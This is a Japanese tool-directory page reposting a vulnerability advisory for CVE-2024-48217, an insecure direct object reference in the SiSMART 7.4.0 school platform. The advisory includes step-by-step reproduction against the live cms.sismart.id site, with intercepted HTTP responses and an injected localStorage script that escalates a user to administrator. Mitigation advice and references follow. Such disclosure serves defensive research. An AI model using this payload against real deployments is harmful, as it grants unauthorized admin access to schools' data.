Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-48217 — CVE-2024-48217 Sismart 脆弱性 | Kitploit
ツール/GitHubGitHub/ajrielrm/cve-2024-48217
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト論文と研究学習と教育
GitHubajrielrm/cve-2024-48217

CVE-2024-48217

CVE-2024-48217 Sismart 脆弱性

リポジトリを見る
11年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-48217 Sismart 脆弱性

CVE 割り当て: CVE-2024-48217 mitre.org nvd.nist.org tenable.com

日付:

2024年9月5日

著者:

Ajriel Rizqy Maulana

ソフトウェアリンク:

  • SiSMART (Aplikasi Pintar Penunjang Proses Pendidikan) - 7.4.0
  • SiSMART (Aplikasi Pintar Penunjang Proses Pendidikan) API

バージョン:

7.4.0

脆弱性:

IDOR - セッションストレージ内部 IDORはInsecure Direct Object Referenceの略で、破損したアクセス制御カテゴリに分類される脆弱性です。簡単に言えば、この脆弱性はアプリケーションがユーザー提供の入力を使用してオブジェクトに直接アクセスするときに発生します。Insecure Direct Object Referenceの脆弱性を利用すると、水平方向の権限昇格が可能になり、場合によっては垂直方向の権限昇格にもつながる可能性があります。

影響を受けるコンポーネント:

ツールをダウンロード

https://cms.sismart.id/sekolah/ ローカルストレージ内の sekolah_kode パラメータ ローカルストレージ内の user_id パラメータ ローカルストレージ内の user_level パラメータ

説明:

通常のIDORとは異なり、セッションストレージを伴うIDORは性質が異なり、場合によっては永続的な変更を行わないことがありますが、深刻度は変わりません。

再現手順:


  • ステップ 1 - http://cms.sismart.id にアクセス
  • ステップ 2 - HTTPレスポンスをインターセプト:

未修正のHTTPレスポンス:

root@kitploit:~
HTTP/2 200 OK
Date: Fri, 01 Nov 2024 11:44:22 GMT
Content-Type: text/html
Last-Modified: Mon, 01 May 2023 02:36:30 GMT
Cf-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KJnz9T9%2FG1GNLgvfWtpZFaY10aFkzyrkTUNVdK34tYTcoWnGvxnG7y9lQi%2BxdFQ%2Bd4jjab38wLGtsgIlOxaBbo2TvjTKA6newy7qBGD8jQKTwH9xSM9PVgmnNdHodgx0ew%3D%3D"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
Cf-Ray: 8dbba1ea4a99658f-SIN
Alt-Svc: h3=":443"; ma=86400
Server-Timing: cfL4;desc="?proto=TCP&rtt=32972&sent=758&recv=340&lost=0&retrans=102&sent_bytes=994646&recv_bytes=2733&delivery_rate=2462437&cwnd=257&unsent_bytes=0&cid=706fd40c05668fc1&ts=24672&x=0"

<!doctype html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><link href="https://fonts.googleapis.com/css?family=Poppins:300,400,500,600,700|Roboto:300,400,500,600,700|Material+Icons" rel="stylesheet"><link rel="stylesheet" href="https://unicons.iconscout.com/release/v4.0.0/css/line.css"/><title>Sismart | Login</title><script defer="defer" type="module" src="/js/chunk-vendors.fd6f44e8.js"></script><script defer="defer" type="module" src="/js/app.741d68f7.js"></script><link href="/css/chunk-vendors.582cc66a.css" rel="stylesheet"><link href="/css/app.d5b7c7c2.css" rel="stylesheet"><script defer="defer" src="/js/chunk-vendors-legacy.fd6f44e8.js" nomodule></script><script defer="defer" src="/js/app-legacy.350b7c53.js" nomodule></script></head><body style="--kt-toolbar-height:55px;--kt-toolbar-height-tablet-and-mobile:55px"><noscript><strong>We're sorry but metronic-vue doesn't work properly without JavaScript enabled. Please enable it to continue.</strong></noscript><div id="app" class="d-flex flex-column flex-root"></div><script src="https://requirejs.org/docs/release/2.1.15/minified/require.js"></script><script src="https://rawgit.com/ironwallaby/delaunay/master/delaunay.js"></script></body></html>
  • ステップ 3 - ローカルストレージを変更し、/sekolahにリダイレクトするスクリプトを追加:
    • sekolah_kode を目的の学校コードに設定。
    • user_id を目的の管理者のユーザーIDに設定。
    • user_level を administrator に設定。
    • id_token を undefined に設定。
    • レスポンスを編集し、以下のJavaScriptスクリプトですべてを設定:
    root@kitploit:~
    <script>
      localStorage.setItem('sekolah_kode', 'school_id');
      localStorage.setItem('user_id', '0000');
      localStorage.setItem('user_level', 'role (ex:administrator)');
      localStorage.setItem('id_token', 'undefined');
      window.location.href = '/sekolah';
    </script>
    

修正済みHTTPレスポンス:

root@kitploit:~
HTTP/2 200 OK
Date: Fri, 01 Nov 2024 11:44:22 GMT
Content-Type: text/html
Last-Modified: Mon, 01 May 2023 02:36:30 GMT
Cf-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KJnz9T9%2FG1GNLgvfWtpZFaY10aFkzyrkTUNVdK34tYTcoWnGvxnG7y9lQi%2BxdFQ%2Bd4jjab38wLGtsgIlOxaBbo2TvjTKA6newy7qBGD8jQKTwH9xSM9PVgmnNdHodgx0ew%3D%3D"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
Cf-Ray: 8dbba1ea4a99658f-SIN
Alt-Svc: h3=":443"; ma=86400
Server-Timing: cfL4;desc="?proto=TCP&rtt=32972&sent=758&recv=340&lost=0&retrans=102&sent_bytes=994646&recv_bytes=2733&delivery_rate=2462437&cwnd=257&unsent_bytes=0&cid=706fd40c05668fc1&ts=24672&x=0"

<!doctype html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><link href="https://fonts.googleapis.com/css?family=Poppins:300,400,500,600,700|Roboto:300,400,500,600,700|Material+Icons" rel="stylesheet"><link rel="stylesheet" href="https://unicons.iconscout.com/release/v4.0.0/css/line.css"/><title>Sismart | Login</title><script defer="defer" type="module" src="/js/chunk-vendors.fd6f44e8.js"></script><script defer="defer" type="module" src="/js/app.741d68f7.js"></script><link href="/css/chunk-vendors.582cc66a.css" rel="stylesheet"><link href="/css/app.d5b7c7c2.css" rel="stylesheet"><script defer="defer" src="/js/chunk-vendors-legacy.fd6f44e8.js" nomodule></script><script defer="defer" src="/js/app-legacy.350b7c53.js" nomodule></script></head><body style="--kt-toolbar-height:55px;--kt-toolbar-height-tablet-and-mobile:55px"><noscript><strong>We're sorry but metronic-vue doesn't work properly without JavaScript enabled. Please enable it to continue.</strong></noscript><div id="app" class="d-flex flex-column flex-root"></div><script src="https://requirejs.org/docs/release/2.1.15/minified/require.js"></script><script src="https://rawgit.com/ironwallaby/delaunay/master/delaunay.js"></script>
<script>
       localStorage.setItem('sekolah_kode', 'smkbnif');
    localStorage.setItem('user_id', '3301');
    localStorage.setItem('user_level', 'administrator');
    localStorage.setItem('id_token', 'undefined');
     window.location.href = '/sekolah';
</script>

</body></html>
  • ステップ 4 - レスポンスを転送

概念実証:

image

緩和策:

アクセスチェックを実施し、参照されるすべてのオブジェクトの検証を確実に行う必要があります。さらに、認証と認可のチェックを実装する必要があります。また、推測を防ぐためにIDを英数字形式に変換する必要があります(例:uidを使用)。

参考文献

  • https://shahjerry33.medium.com/idor-inside-the-session-storage-88af485fc899
  • https://portswigger.net/web-security/access-control/idor
  • https://ridhomarhaban2000.medium.com/memahami-idor-insecure-direct-object-references-ab176af79cb1
  • https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html